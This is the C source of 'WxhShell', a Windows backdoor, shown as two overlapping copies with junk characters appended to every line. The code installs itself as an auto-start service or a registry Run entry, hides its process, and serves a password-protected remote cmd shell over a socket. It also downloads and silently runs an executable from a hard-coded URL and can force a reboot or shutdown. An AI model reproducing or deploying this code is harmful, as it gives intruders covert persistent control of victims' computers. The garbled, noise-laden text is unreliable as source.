    if(Boot(SHUTDOWN)) a~N)qYL:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =B{$U~}  
    else { 5A=xFj{  
    closesocket(wsh); nrD=[kc!w  
    ExitThread(0); jQwg)E+o;  
    } v'Py[[R  
    break; ^MWW,`  
    } &B5 Rzz-'  
  // 获取shell CYic_rF$  
  case 's': { \?mU$,v oI  
    CmdShell(wsh); NNpa69U  
    closesocket(wsh); P@T $6%~  
    ExitThread(0); /7HIL?r  
    break; fO}1(%}d  
  } W,oV$ s^  
  // 退出 +iDz+3v(  
  case 'x': { 8#JyK+NU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wYxFjXm  
    CloseIt(wsh); >8HRnCyp/  
    break; +w}%gps  
    } (S93 %ii  
  // 离开 * jNu?$  
  case 'q': { P*^UU\x'4I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E=U^T/  
    closesocket(wsh); ^~k FC/tQ  
    WSACleanup(); "@<g'T0  
    exit(1); /)<7$  
    break; 0BwQ!B.  
        } 9lwo/(s  
  } w\Eve:  
  } E rymx$@P  
i~PZvxt  
  // 提示信息 g8@i_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BO cEL%+  
} )UU6\2^  
  } &(U=O?r7  
Ita!07  
  return; HQ#L |LN  
} ha'm`LiX  
tp3N5I  
// shell模块句柄 |`9zE]  
int CmdShell(SOCKET sock) a{YVz\?d}  
{ R$'nWzX#  
STARTUPINFO si; z&G3&?Z  
ZeroMemory(&si,sizeof(si)); v?'k)B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |8?{JKsg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,T>2zSk  
PROCESS_INFORMATION ProcessInfo; j:<T<8 .o  
char cmdline[]="cmd"; K1:)J.ca_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w9?wy#YI  
  return 0; = |zyi|  
} us *l+Jw,m  
K?<Odw'k  
// 自身启动模式 ov.rHVeI  
int StartFromService(void) L7'X7WYf&  
{ 4 6JP1  
typedef struct \}&w/.T  
{ dufHd  
  DWORD ExitStatus; hzVr3;3Zn  
  DWORD PebBaseAddress; VTkT4C@I;Y  
  DWORD AffinityMask; F>{uB!!L4  
  DWORD BasePriority; BP><G^  
  ULONG UniqueProcessId; :<G+)hIK  
  ULONG InheritedFromUniqueProcessId; TgG)btQ  
}   PROCESS_BASIC_INFORMATION; ^O9m11  
<}>-ip?  
PROCNTQSIP NtQueryInformationProcess; -P uVI5L<  
Ho{?m^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lt2& uYgp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^g"6p#S=n  
]o[HH_`s@  
  HANDLE             hProcess; Wl"fh_  
  PROCESS_BASIC_INFORMATION pbi; ^Q:`2C5  
G`K7P`m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KUV{]?'  
  if(NULL == hInst ) return 0; ,tc]E45  
obkv ]~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a'.=.eDQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \shoLp   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~oyPmIcb  
W| eG}`  
  if (!NtQueryInformationProcess) return 0; Hd}t=6  
^8t*WphZC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vx,6::%]  
  if(!hProcess) return 0; )CU(~s|s  
ov}{UP]a?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l1j   
Cf 8 - %  
  CloseHandle(hProcess); J8[Xl.  
dTNgrW`4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?7dDQI7^(  
if(hProcess==NULL) return 0; RLr-xg$K-t  
K1yM'6 Zw  
HMODULE hMod; xpo}YF'5  
char procName[255]; v<4X;4p^  
unsigned long cbNeeded; jtJU 5Q  
O~1p]j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); UzRF'<TWf  
S!c@6&XJm?  
  CloseHandle(hProcess); @ uWD>(D  
U;Wmx  
if(strstr(procName,"services")) return 1; // 以服务启动 7E]l=Z`x  
p#I1l2nE  
  return 0; // 注册表启动 X> KsbOZ  
} cE#Y,-f  
ucO]&'hu:  
// 主模块 ;<Q_4 V  
int StartWxhshell(LPSTR lpCmdLine) b?^<';,5  
{ "@Fxfd+Ot  
  SOCKET wsl; (6aZQ`H  
BOOL val=TRUE; uSbg*OA  
  int port=0; }gt~{9?c  
  struct sockaddr_in door; ,4UJ| D=J  
3`I_  
  if(wscfg.ws_autoins) Install(); 0<;B2ce  
 iSax-Mc  
port=atoi(lpCmdLine); b(,[g>xH   
q3:' 69  
if(port<=0) port=wscfg.ws_port; m/h0J03'T  
247>+:7z  
  WSADATA data; mI18A#[ 3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8gdOQ=a  
G 3x1w/L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k#M W>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :@L5=2Z+  
  door.sin_family = AF_INET; [O'p&j@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]YKWa"  
  door.sin_port = htons(port); y->iv%  
h Nwb.[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %dQX d ]  
closesocket(wsl); w,$17+]3  
return 1; @ vudeaup  
} [Hf FC3U  
YEj U3^@  
  if(listen(wsl,2) == INVALID_SOCKET) { LdL\B0^l  
closesocket(wsl); djp(s$:{4  
return 1; V19*~v=u  
} C\[UAxZ3X  
  Wxhshell(wsl); &kE|~i:=,9  
  WSACleanup(); oE&[W >,x  
C, rZ}-  
return 0; bL%)k61G_v  
t$2{U  
} R&p53n  
XDQ1gg`  
// 以NT服务方式启动 :4TcCWG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t~M_NEPxV  
{ $P~a   
DWORD   status = 0; NI)nf;C  
  DWORD   specificError = 0xfffffff; %mJ)pMV  
T@XiG:b7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4#uoPkLK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o%iTYR :x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !{LwX Kf  
  serviceStatus.dwWin32ExitCode     = 0; PGDlSB^O  
  serviceStatus.dwServiceSpecificExitCode = 0; R& A.F+Zgt  
  serviceStatus.dwCheckPoint       = 0; b/`' ?| C  
  serviceStatus.dwWaitHint       = 0; j|9 2 g  
I1jF`xQ&0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  w4mL/j  
  if (hServiceStatusHandle==0) return; |d8o<Q  
vC1 `m  
status = GetLastError(); fQh!1R  
  if (status!=NO_ERROR) j7zQ&ANF  
{ D1a4+AyI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vbU{Et\ ^  
    serviceStatus.dwCheckPoint       = 0; !k^\`jMzw  
    serviceStatus.dwWaitHint       = 0; 'UKB pm/  
    serviceStatus.dwWin32ExitCode     = status; Nt?B(.G  
    serviceStatus.dwServiceSpecificExitCode = specificError; b7/4~_s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZhU2z*qN#  
    return; (A_9;uL^_  
  } >E#4mm  
uNjy&I:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4{ &   
  serviceStatus.dwCheckPoint       = 0; UWp(3FQ  
  serviceStatus.dwWaitHint       = 0; K[H$qJmPX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Hl51R"8o  
}  R !HL+  
`7`iCYiTy  
// 处理NT服务事件,比如:启动、停止 191)JWfa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .'M]cN~  
{ j.sf FS  
switch(fdwControl) !xSGZ D=AD  
{ n&^Rs )%v  
case SERVICE_CONTROL_STOP: ek<U2C_u#  
  serviceStatus.dwWin32ExitCode = 0; z!tHn#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1?;s!6=  
  serviceStatus.dwCheckPoint   = 0; IZGty=Q_  
  serviceStatus.dwWaitHint     = 0; @NZ?D0"  
  { U.\kAEJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {fWZ n  
  } ,h"M{W$  
  return; Q6E80>  
case SERVICE_CONTROL_PAUSE: 4U3T..wA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d?JVB  
  break; 1x]G/I*  
case SERVICE_CONTROL_CONTINUE: { .AFg/Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ygHNAQG~  
  break; &f$jpIyVX  
case SERVICE_CONTROL_INTERROGATE: !#QD;,SE+  
  break; :Fh* 4 &Z  
}; }0 Z3Lrv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ugz1R+f_4{  
} vhKD_}}aP  
3't?%$'5  
// 标准应用程序主函数 G7u85cie  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h4U .wk  
{ hM-qC|!  
v?}/WKe+0  
// 获取操作系统版本 z 'j%.Dd8  
OsIsNt=GetOsVer(); xZhh%~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0z .&  
%H54^Z<y  
  // 从命令行安装 `y4+OXZ^  
  if(strpbrk(lpCmdLine,"iI")) Install(); C M(g4fh  
0W@C!mD~  
  // 下载执行文件 IaW8  
if(wscfg.ws_downexe) { ?AR6+`0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) % tpjy,  
  WinExec(wscfg.ws_filenam,SW_HIDE); x9a0J1Nb-h  
} K:y>wyzl  
)s M}BY  
if(!OsIsNt) { xf|=n  
// 如果时win9x,隐藏进程并且设置为注册表启动 f_}55?i0  
HideProc(); K/altyj`  
StartWxhshell(lpCmdLine); 9.<$&mVk7`  
} _:T\[sz5  
else 18~j>fN  
  if(StartFromService()) C)`/Q(^  
  // 以服务方式启动 rz4S"4  
  StartServiceCtrlDispatcher(DispatchTable); :E.mU{  
else ;kdJxxUox  
  // 普通方式启动 b8O:@j2  
  StartWxhshell(lpCmdLine); JAYom%A"  
+K&ze:-Z  
return 0; hsi#J^n{  
} = fm/l-P@  
Mv_4*xVc  
0&<{o!>k  
uu HWN|  
=========================================== tP`,Egf"g  
>LLFe~9`g  
qRNGe8  
<w[)T`4N  
"w N DjWv  
!r$/-8b  
" oo`mVRVf  
R5Ti|k.~Y"  
#include <stdio.h> KY@k4S+  
#include <string.h> F<o J  
#include <windows.h> 4!D!.t~r  
#include <winsock2.h> Uj_%U2S$  
#include <winsvc.h> Fq~de%y  
#include <urlmon.h> {2-w<t  
$H?v  
#pragma comment (lib, "Ws2_32.lib") =>&d[G[m!  
#pragma comment (lib, "urlmon.lib") L,n'G%  
p=p,sJ/@  
#define MAX_USER   100 // 最大客户端连接数 th !Gc  
#define BUF_SOCK   200 // sock buffer RE*;nSVFt  
#define KEY_BUFF   255 // 输入 buffer bjbm"~  
w}+jfO9  
#define REBOOT     0   // 重启 5'6Oan7dL:  
#define SHUTDOWN   1   // 关机 +YXyfTa  
*PD7H9m  
#define DEF_PORT   5000 // 监听端口 gmt`_Dpm$  
Tk)y*y  
#define REG_LEN     16   // 注册表键长度 pX"f "  
#define SVC_LEN     80   // NT服务名长度 .^uNzN~  
5E4np`J  
// 从dll定义API IpHGit28  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (tys7og$'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _K'YaZTa;~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,9=5.+AJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [i\K#O +f  
g+U6E6}1  
// wxhshell配置信息 UkeX">  
struct WSCFG { A+>+XA'  
  int ws_port;         // 监听端口 pLNv\M+  
  char ws_passstr[REG_LEN]; // 口令 FK>8(M/  
  int ws_autoins;       // 安装标记, 1=yes 0=no pf[bOjtR  
  char ws_regname[REG_LEN]; // 注册表键名 aR+vY1d"  
  char ws_svcname[REG_LEN]; // 服务名 uPt({H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8KN0z<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^C_ ;uz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V4iN2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WUZusW5s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z+JPxe#7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "RiY#=}sm  
Z sv(/>  
}; *}Vg]3$4  
?$%#y u#.  
// default Wxhshell configuration o^H.uBO{  
struct WSCFG wscfg={DEF_PORT, Dhv ^}m@  
    "xuhuanlingzhe", s@V4ny9x  
    1, ~Cm_=[  
    "Wxhshell", /U+0T>(HS  
    "Wxhshell", Zg_ fec~6q  
            "WxhShell Service", m>DBO|`  
    "Wrsky Windows CmdShell Service", DOyYy~Q  
    "Please Input Your Password: ", v:|_!+g:  
  1, i1}Y;mj  
  "http://www.wrsky.com/wxhshell.exe", 274F+X  
  "Wxhshell.exe" ?31#:Mg6g+  
    }; 7 wH9w  
/c6:B5G  
// 消息定义模块 ^|gD;OED7O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Sjv_% C $  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M*$#j|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \$$DM"+:;H  
char *msg_ws_ext="\n\rExit."; Z0 @P1  
char *msg_ws_end="\n\rQuit."; S8 .1%sw  
char *msg_ws_boot="\n\rReboot..."; yp9vgUs  
char *msg_ws_poff="\n\rShutdown..."; n Hz Xp:"  
char *msg_ws_down="\n\rSave to "; imC>T!-7  
!W^P|:Qt  
char *msg_ws_err="\n\rErr!"; ~x4]^XS  
char *msg_ws_ok="\n\rOK!"; 5LMAy"  
f0S$p R  
char ExeFile[MAX_PATH]; t}w<xe  
int nUser = 0; b9X"p*'p  
HANDLE handles[MAX_USER]; b8@?fC+tm  
int OsIsNt; gw O]U=Y  
+~Wg@   
SERVICE_STATUS       serviceStatus; clyZD`*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _<}oBh  
n.F^9j+V  
// 函数声明 K+|G9  
int Install(void); lsq\CavbM  
int Uninstall(void); Nz1u:D]  
int DownloadFile(char *sURL, SOCKET wsh); wN Mf-~  
int Boot(int flag); Qa>t$`o`  
void HideProc(void); 21_sg f?  
int GetOsVer(void); &!N9.e:-]  
int Wxhshell(SOCKET wsl); POB6#x  
void TalkWithClient(void *cs); Klrd|;C  
int CmdShell(SOCKET sock); YMXhzqj  
int StartFromService(void); @^R6}qJ  
int StartWxhshell(LPSTR lpCmdLine); ^Q,-4\ec  
#:[^T,YD0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q|h#J}\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !A":L0[7n  
&Zy%Zz  
// 数据结构和表定义 P.#@1_:gC  
SERVICE_TABLE_ENTRY DispatchTable[] = djmd @{Djt  
{ (_IPz)F  
{wscfg.ws_svcname, NTServiceMain}, Z@(m.&ZRx  
{NULL, NULL} ((Uw[8#2 `  
}; 7fE U5@  
;Vv.$mI  
// 自我安装 'nJ,mZx  
int Install(void) a1#",%{I  
{ vLI'Z)\  
  char svExeFile[MAX_PATH]; b@X+vW{S  
  HKEY key; ?hBjq  
  strcpy(svExeFile,ExeFile); erlg\-H   
YUjKOPN  
// 如果是win9x系统,修改注册表设为自启动 yd|ao\'=  
if(!OsIsNt) { yi.GD~69  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ++\s0A(e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LiyR,e  
  RegCloseKey(key); ?LSwJ @#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R/EpfYOX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MMU>55+-  
  RegCloseKey(key); B}fd#dr  
  return 0; Bi-x gq'z  
    } .VXadgM  
  } aO &!Y\=@  
} yByxy-~  
else { Mh "iyDGA  
#u"$\[G  
// 如果是NT以上系统,安装为系统服务 jI/#NCKE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k|4}Do%;  
if (schSCManager!=0) }y>/#]X  
{ |Ml~_m  
  SC_HANDLE schService = CreateService y3@m1>]09  
  ( O%s7}bR3  
  schSCManager, >zX`qv&>  
  wscfg.ws_svcname, dt5`UBvUg  
  wscfg.ws_svcdisp, UX24*0`\~  
  SERVICE_ALL_ACCESS, VV-%AS6;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HC!5AJ&+}v  
  SERVICE_AUTO_START, 7<0oK|~c#  
  SERVICE_ERROR_NORMAL, y?'Z'  
  svExeFile, blx"WVqo  
  NULL, s{uSU1lQn  
  NULL, LkyT4HC8n  
  NULL, sW]>#e  
  NULL, X"!tx  
  NULL EG!Nsb^,  
  ); "M}3T?0 O  
  if (schService!=0) yYH>~,  
  { w!r.MWE  
  CloseServiceHandle(schService); !ZS5}/ZU  
  CloseServiceHandle(schSCManager); L'HO"EZFj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h9Tst)iRi  
  strcat(svExeFile,wscfg.ws_svcname); e'X"uH Xt.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z6fR2A~Q[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o*5b]XWw  
  RegCloseKey(key); {W'{A  
  return 0; NCp]!=uM;  
    } (j&7`9<5  
  } f?lnBvT|b  
  CloseServiceHandle(schSCManager); +2#pP  
} &ox5eX(  
} SoHw9FtS  
J3 xi5S  
return 1; <YAs0  
} a\m0X@Q  
,a3M*}Y ~3  
// 自我卸载 ]D_ AZI  
int Uninstall(void) =AP0{  
{ 1}q(Pn2  
  HKEY key; iw^"?:'%  
'tDVSj  
if(!OsIsNt) { xzw2~(lo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZMEYF!j N  
  RegDeleteValue(key,wscfg.ws_regname); ,8.zbr  
  RegCloseKey(key); I:UN2`*#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \Icd>>)*  
  RegDeleteValue(key,wscfg.ws_regname); :!w;Y;L:+  
  RegCloseKey(key); H,(4a2zx  
  return 0; LHMA-0$?)  
  } Mk/ZEyq^  
} U]Fnf?(  
} }F-,PSH Ml  
else { "y-/ 9C  
i\zN1T_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6$G@>QCBS  
if (schSCManager!=0) :0% $u>;O:  
{ )U+&XjK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :+<GJj_d+  
  if (schService!=0) A i~d  
  { e@DVf  
  if(DeleteService(schService)!=0) { j34lPo `  
  CloseServiceHandle(schService); pnGDM)H7  
  CloseServiceHandle(schSCManager); ,#.9^J  
  return 0; ^o(C\\>{&  
  } 8Yw V"+Fu/  
  CloseServiceHandle(schService); `G2!{3UD  
  } =c#;c+a  
  CloseServiceHandle(schSCManager); )2?A|f8  
} vPsf{[Kr  
} -:Jn|=  
]m\:XhI*<  
return 1; b`^mpB*6R  
} ?Lem|zo  
oF.H?lG7`  
// 从指定url下载文件 2f2.;D5g_'  
int DownloadFile(char *sURL, SOCKET wsh) |#5_VEG  
{ w/wU~~  
  HRESULT hr; 4EFP*7X  
char seps[]= "/"; &!? qSi~V  
char *token; }4_c~)9Q  
char *file; 84c[Z   
char myURL[MAX_PATH]; 7jPn6uz>w  
char myFILE[MAX_PATH]; :Oc&{z?q  
78O5$?b;#  
strcpy(myURL,sURL); * oru;=D@8  
  token=strtok(myURL,seps); E#`JH  
  while(token!=NULL) IWnyqt(k  
  { k(wJ6pc  
    file=token; Dl_SEf6b  
  token=strtok(NULL,seps); oI9-jW  
  } u`wT_?%w  
C44*qiG.  
GetCurrentDirectory(MAX_PATH,myFILE); ^ =RSoR  
strcat(myFILE, "\\"); O;RNmiVoq  
strcat(myFILE, file); '?b.t2  
  send(wsh,myFILE,strlen(myFILE),0); 8zH/a   
send(wsh,"...",3,0); UpqDGd7M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {ud^+I&  
  if(hr==S_OK) 2"B3Q:0he|  
return 0; Ffr6P }I  
else n$jf($*  
return 1; V2*m/JyeB  
5YgUk[J  
} F>rf cW2  
]|4mD3O  
// 系统电源模块 6N'HXL UlQ  
int Boot(int flag) }9>X M  
{ J.pe&1  
  HANDLE hToken; * TR ~>|  
  TOKEN_PRIVILEGES tkp; 6WEu(}=  
C lzz!v  
  if(OsIsNt) { UE/N-K)`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %M;{+90p>t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0 = - D  
    tkp.PrivilegeCount = 1; g# <M/qn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dWhF[q"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ujss?::`G  
if(flag==REBOOT) { *,p16"Q;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Vr<ypyC  
  return 0; D(gpF85t  
} -Q P&A >]7  
else { gfAVxMg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'gv7&$X}4  
  return 0; g bwg3$!9  
} !Mk:rO-L  
  } ,__|SnA.  
  else { s`"ALn8m  
if(flag==REBOOT) { .X(ocs$}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) da53XEF&  
  return 0; ^p!bteA>  
} &<%U7?{~  
else { w\3'wD!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7`6JK  
  return 0; Id'@!U:NA  
} ti9 cfv>  
} !YEU<9  
G/C5o=cY  
return 1; $; t#pN/`  
} =Pg u?WU@  
@DYkWivLu  
// win9x进程隐藏模块 YP vg(T  
void HideProc(void) ]qk/V:H:  
{ 9 ulr6  
fO{E65uA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8yc?9&/ |  
  if ( hKernel != NULL ) zVs|go>F  
  { aXefi'!6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QZ54Osdl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y i/jZX  
    FreeLibrary(hKernel); yD!V;?EnK  
  } Q{Lsr,  
IRQ3>4hI  
return; u3H2\<  
} `?L-{VtM3*  
VClw!bm  
// 获取操作系统版本 dc0Ro,  
int GetOsVer(void) 8M;G@ Q80  
{ |_;Vb  
  OSVERSIONINFO winfo; D;Jb' Be  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Zm@ O[:~  
  GetVersionEx(&winfo); u!DSyHR '  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X*'-^WM6  
  return 1; ~ ]q^Akq  
  else 'E,Bl]8C5  
  return 0; kM\O2 ay  
} tEl4 !v A  
lYu1m  
// 客户端句柄模块 ;DKwv}  
int Wxhshell(SOCKET wsl) !&Q3>8l  
{ $zBG19 [%  
  SOCKET wsh; "@I"0OA  
  struct sockaddr_in client; cuP5cL/Y  
  DWORD myID; S:"t]gbF =  
%.R_[.W  
  while(nUser<MAX_USER) UI:{*N**Z  
{ eMvb*X6  
  int nSize=sizeof(client); Z qg(\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {q:o}<-L+  
  if(wsh==INVALID_SOCKET) return 1; HH|&$C|64  
a".uS4x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1XO*yZF  
if(handles[nUser]==0) Mr(~ *  
  closesocket(wsh); Yn}_"FO'  
else 9c=_p'G3Fw  
  nUser++; -$4%@Z  
  } WLWE%bDP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?WX&,ew~  
Zh.fv-Ecp  
  return 0; n]@+<TA<uA  
} O/\jkF  
)gCHwu  
// 关闭 socket k852M^JP  
void CloseIt(SOCKET wsh) soZw""|v  
{ QW f)5S  
closesocket(wsh); Rh%/xG#k  
nUser--; bkl'0 p  
ExitThread(0); )8yee~+TN  
} L&'0d$Tg8  
VmkYl$WZo  
// 客户端请求句柄 6mBX{-Z[  
void TalkWithClient(void *cs) MOG[cp  
{ kI3-G~2  
Wx/!My u  
  SOCKET wsh=(SOCKET)cs; WJU` g  
  char pwd[SVC_LEN]; j#U?'g  
  char cmd[KEY_BUFF]; Y(SgfWeK@1  
char chr[1]; c+G: bb%p  
int i,j; _A)<"z0E  
XI\aZ\v  
  while (nUser < MAX_USER) { Rhx7eU#&  
BQB O]<99  
if(wscfg.ws_passstr) { h ;5 -X7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "ngYh]Git$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KW&&AuPb}  
  //ZeroMemory(pwd,KEY_BUFF); r[Q$w>  
      i=0; 3_T'TzQ u  
  while(i<SVC_LEN) { RQU5T 2,  
=tH+e7it  
  // 设置超时 &U xN.vl  
  fd_set FdRead; [NvEX Td  
  struct timeval TimeOut; B:z-?u#B  
  FD_ZERO(&FdRead); =,[46 ;q  
  FD_SET(wsh,&FdRead); Xt= &  
  TimeOut.tv_sec=8; i&>,aiH@  
  TimeOut.tv_usec=0; gH\r# wy|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0 \LkJ*i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dtM@iDljj  
;^DUtr ;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W'XMC"  
  pwd=chr[0]; dY\"'LtF  
  if(chr[0]==0xd || chr[0]==0xa) { e|Sg?ocR  
  pwd=0; B0z.s+.  
  break; .3|9 ~]  
  } kFM'?L&  
  i++; {|xwvTl J  
    } G>mgoN  
 A ]U]  
  // 如果是非法用户,关闭 socket ;$&-c/]F#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sD{b0mZT  
} pN0c'COy^  
`6mHt6"h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f aO8 &  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UWn}0:6t  
i8B%|[ nm  
while(1) { rpEFyHorJ  
38q@4U=aiw  
  ZeroMemory(cmd,KEY_BUFF); ,uKvE`H  
7Xad2wXn  
      // 自动支持客户端 telnet标准   iY|YEi8  
  j=0; GoEIY  
  while(j<KEY_BUFF) { - Ez|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f6L_u k`{  
  cmd[j]=chr[0]; zW0AB8l  
  if(chr[0]==0xa || chr[0]==0xd) { &vMH AZd  
  cmd[j]=0; :LBe{Jbw  
  break; M@'V4oUz  
  } %&_(IY$d  
  j++; ($S{td;  
    } ^ Nsl5  
@5?T]V g  
  // 下载文件 Q5,@ P?  
  if(strstr(cmd,"http://")) { )E7A,ZW,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZHC sv]l  
  if(DownloadFile(cmd,wsh)) [QZ~~(R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zt,-O7I'1  
  else n~&R_"mv(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k9Sqp :l,  
  } jujx3rnK?  
  else { s3+O=5  
gw*d"~A  
    switch(cmd[0]) { Xl/G|jB9  
  /hX"O ?^  
